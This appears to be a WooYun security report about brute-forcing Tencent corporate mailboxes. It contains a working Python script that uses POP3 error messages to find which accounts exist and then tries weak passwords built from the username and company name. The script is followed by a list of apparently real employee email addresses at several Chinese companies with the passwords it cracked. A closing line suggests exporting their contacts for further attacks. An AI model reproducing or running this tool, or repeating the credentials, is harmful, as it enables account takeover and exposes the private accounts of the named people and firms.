WooYun.org

1.ERR 登录失败，用户不存在，login failed
2 .ERR 密码错误或者POP服务未开通。若POP服务未开通，详细说明请查看: http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=28&&no=166 INCORRECT PASSWORD OR ACCOUNT IS NOT ENABLED FOR POP ACCESS. IF ACCOUNT IS NOT ENABLED, FOR MORE DETAILS PLEASE VISIT: http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=28&&no=166

#!/usr/bin/python
#-*-coding:utf-8-*-
'''
mail_hunter for brute mail weakpass
'''
import poplib
import argparse
import os
def tencent(usernames,suffix):
    server="pop.exmail.qq.com"
    domain_local=suffix.split('.')[0]
    try: 
        pop = poplib.POP3_SSL(server,995) 
        welcome = pop.getwelcome() 
        print welcome 
        pop.quit() 
    except (poplib.error_proto): 
        print  "No Response" 
    users=[]
    with open(usernames,'rb') as userFile:
        while True:
            user=userFile.readline().strip()
            if user=='':
                break
            users.append(user+'@'+suffix)
    for i in range(0,len(users)):
        name=users[i].split('@')[0]
        try:
            pop=poplib.POP3_SSL(server,995)
            pop.user(users[i])
            auth=pop.pass_(name)
            if auth=="+OK":
                pop.quit()
                print "\n"+"[SUCCESS]:"+users[i]+'-----'+name+'\n'
            else:
                pop.quit()
        except Exception,e:
            e=str(e).decode('gbk')
            if e.count(u'密码错误或者')>0:
                print users[i]+"---"+"exists brute for passwd"
                passwds=[]
                passwds.append(domain_local+'@123')
                weak_value=['Asdf1234','Qwer1234','Abcd1234','a123456',name[0].upper()+name[1:]+'123',name+'123',name+'1234']
                passwds.extend(weak_value)
                if len(domain_local)<4:
                    passwds.append(domain_local+'1234')
                    passwds.append(domain_local[0].upper+domain_local[1:]+'1234')
                else:
                    passwds.append(domain_local+'123')
                    passwds.append(domain_local[0].upper()+domain_local[1:]+'123')                   
                for passwd in passwds:
                    try:
                        pop=poplib.POP3_SSL(server,995)
                        print "[try]"+users[i]+'----'+passwd
                        pop.user(users[i])
                        auth=pop.pass_(passwd)
                        #mm=str(auth).decode('gbk')
                        #print "this is auth:"+mm
                        if auth=="+OK":
                            pop.quit()
                            print "\n"+"[SUCCESS]:"+users[i]+'-----'+passwd+'\n'
                            break
                        else:
                            pop.quit()
                    except Exception,e:
                        pass
            else:
                print users[i]+'---',
                print e
if __name__=="__main__":
    parser=argparse.ArgumentParser()
    parser.add_argument('-u','--username',dest='username',help='wordlist of username',required=True)
    parser.add_argument('-s','--suffix',dest='suffix',help='suffix of mail',required=True)
    arg=parser.parse_args()
    usernames=arg.username
    suffix=arg.suffix
    tencent(usernames,suffix)

好大夫
zhangyan@haodf.com----haodf123
lifang@haodf.com----haodf123
zhangrui@haodf.com----haodf123
zhoujing@haodf.com----Asdf1234
人人车
pr@renrenche.com----pr1234
wangchao@renrenche.com-----renrenche@123
wangxin@renrenche.com-----renrenche@123
爱投资
wangliang@itouzi.com----a123456
mail:liubo@itouzi.com----a123456
趣分期
zhangtao@qufenqi.com----Qufenqi123
雷锋网
lifeng@leiphone.com----leiphone123
阿姨帮
mail:test@ayibang.com----test123
mail:lijun@ayibang.com----lijun123
这只是第一次爆破海可以导出通讯录进行二次爆破